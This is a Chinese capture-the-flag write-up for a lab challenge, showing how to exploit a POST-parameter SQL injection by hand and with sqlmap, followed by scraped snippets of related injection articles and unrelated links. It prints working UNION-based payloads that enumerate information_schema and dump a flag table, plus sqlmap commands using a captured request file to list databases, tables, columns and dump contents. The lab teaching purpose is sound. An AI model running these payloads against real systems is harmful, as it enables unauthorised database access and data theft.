用sqlmap跑post型注入
bugku-成绩单 题目地址
手工注入:
①看到题目,分别提交1,2,3,出现不同的成绩单,可见参数我们是可以控制,通过POST的方式。
②我们尝试输入1 and 1=1#和1 and 1=2#发现不报错,应该不是数字型注入。我们输入1',报错,这个数字(id)被'保护起来了。猜测SQL语句:~~~~where id ='$id';我们继续输入1' and 1=1#;和1' and 1=2#,发现前边没错,后边的错了,到了这里 注入点就找到了。
顺便获取有几个显示位。

到5报错,说明有四个可能回显的位置。
union select 1,2,3,4#

四个位置全部可以回显查询的内容。
③查找所有的数据库,输入-1' union select 1,2,3,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#。

获得了所有数据库,不过肯定是普通用户,还是只有查看的权限。查询下user()

④查找skctf_flag下的表。-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#

⑤查看fl4g下的列名。-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#

⑥ 查看skctf_flag下的内容。-1' union select 1,2,3,skctf_flag from skctf_flag.fl4g#

SQLMAP跑:
①首先,开burp截包。
②输入1,提交。
可以看见,burp已经把id获取到了
③copy to file,保存为txt文件。

把这个txt放置到sqlmap的目录下边。
④打开sqlmap,shift+鼠标右键打开命令行。python sqlmap.py -r a.txt (a.txt如果没有放到sqlmap目录就用绝对路径)。

可以看到,存在的注入类型(union查询和基于时间的盲注)和payload和数据库类型和版本都给你报出来了。
然后剩下的参数就基本和跑get型注入差不多了。
⑤获取所有数据库。python sqlmap.py -r a.txt --dbs

⑥获取skctf_flag下所有的表。python sqlmap.py -r a.txt -D skctf_flag --tables

⑦获取fl4g下所有的列。python sqlmap.py -r a.txt -D skctf_flag -T fl4g --columns

⑧获取列skctf_flag下的内容。python sqlmap.py -r a.txt -D skctf_flag -T fl4g -C "skctf_flag" --dump

用sqlmap跑post型注入的更多相关文章
- Mysql报错型注入总结
Mysql注入虽然是老生常谈的问题,但是工作中更多的是使用sqlmap等工具进行注入测试的,原理方面还是不是很清楚,所以这段时间主要是自己搭建环境在学手工注入,简单的将自己的学习做一个总结和记录.在常 ...
- sqlmap进阶篇—POST注入三种方法
测试是否存在post注入 第一种方法 直接加--form让它自动加载表单 第二种方法 把form表单里面提交的内容复制出来,放到data中跑 第三种方法 先用burp suite抓包,把包的内容存到本 ...
- 阿里云提示:对输入参数id未进行正确类型转义,导致整型注入的发生
类似以下提示: XXX.php中,对输入参数id未进行正确类型转义,导致整型注入的发生 解决办法: 找到对应文件:$id = $_GET['id']; 增加以下标红过滤: $id = $_GET['i ...
- 注入语句详解(get注入,cookie注入,搜索型注入等)
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''=' 拆半法 ###################################### and exists (select ...
- python使用sqlmap API检测SQL注入
0x00前言: 大家都知道sqlmap是非常强大的sql注入工具,最近发现他有个sqlmap API,上网查了一下.发现这是 sqlmap的微端.(可以叫做sqlmap在线检测sql注入= =) 0x ...
- SQL数字型注入代码审计
数字型注入 SQL注入攻击,简称注入攻击,是发生于应用程序与数据库层的安全漏洞. 简而言之,是在输入的字符串之中注入sql指定,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器 ...
- sqli-labs第一节 get-字符型注入
https://blog.csdn.net/sherlock17/article/details/64454449 1.SQL注入漏洞的几种判断方法 ①http://www.heetian.com ...
- 【Pyhon】利用BurpSuite到SQLMap批量测试SQL注入
前言 通过Python脚本把Burp的HTTP请求提取出来交给SQLMap批量测试,提升找大门户网站SQL注入点的效率. 导出Burp的请求包 配置到Burp的代理后浏览门户站点,Burp会将URL纪 ...
- 数据库其他注入思路 - 万能密码 - cookie注入 -搜索型注入
另类登录注入形式: 经常有一类验证(ASP,PHP,JSP均存在),先判断user是否存在,ASP为例子:"select password from admin where user_nam ...
随机推荐
- linux设置history历史记录
#说明export HISTSIZE=1000 #设置历史记录显示1000行export HISTTIMEFORMAT='%F %T ' #设置历史记录格式 999 2017-08-15 10:58: ...
- JS修改地址栏参数实例代码
function changeURLPar(destiny, par, par_value) { var pattern = par+'=([^&]*)'; var replaceText = ...
- Weka 二次开发使用心得
Weka 二次开发使用心得 一.weka数据挖掘流程 使用weka图形界面,初步尝试了下数据的预处理.分类.关联等操作,因为weka本身就是一个开源的机器学习库,于是想自己尝试下利用weka的api进 ...
- linux 命令——5 rm(转)
昨天学习了创建文件和目录的命令mkdir ,今天学习一下linux中删除文件和目录的命令: rm命令.rm是常用的命令,该命令的功能为删除一个目录中的一个或多个文件或目录,它也可以将某个目录及其下的所 ...
- 如何在SAP Server Side JavaScript里消费destination
在SAP云平台里打开SAP HANA Web-Based Development Workbench进行服务器端JavaScript的开发. 创建一个新的package: 创建一个新的applicat ...
- 自行解决12306页面显示异常的问题(长城宽带下WWW。12306无法正常使用)
前二天突然发现家里所用的长城宽带的www.12306.cn无法正常显示,点击余票查询或者车票预订均打不开,加载时间非常长,现象好似CSS等资源文件未载入成功(如图所示)更换chrome.firefox ...
- hdu-1166 敌兵布阵---树状数组模板
题目链接: http://acm.hdu.edu.cn/showproblem.php?pid=1166 题目大意: 维护动态的区间和,单点更新,就是模板题 #include<iostream& ...
- datetime 插件
1 写一段文本 <div id="nomarl-wrap"> <div class="form-group"> <label c ...
- C++手写快读详解(快速读入数字)
众所周知,C++里是自带读入的(这不废话吗) 例如: int a; cin>>a; 这样的读入理解简单,适合初学者,但是非常慢. 再例如: int a; scanf("%d&qu ...
- c#基础之循环探索
前言在学习基础的语法中循环控制是程序语句控制中的一种,循环在很多的操作中都有应用,例如在获得数据库中的查询的数据之后可以用循环遍历的方式拿到每一行的数据,从而拿到每一个单元格的数据,在文件的操作中也大 ...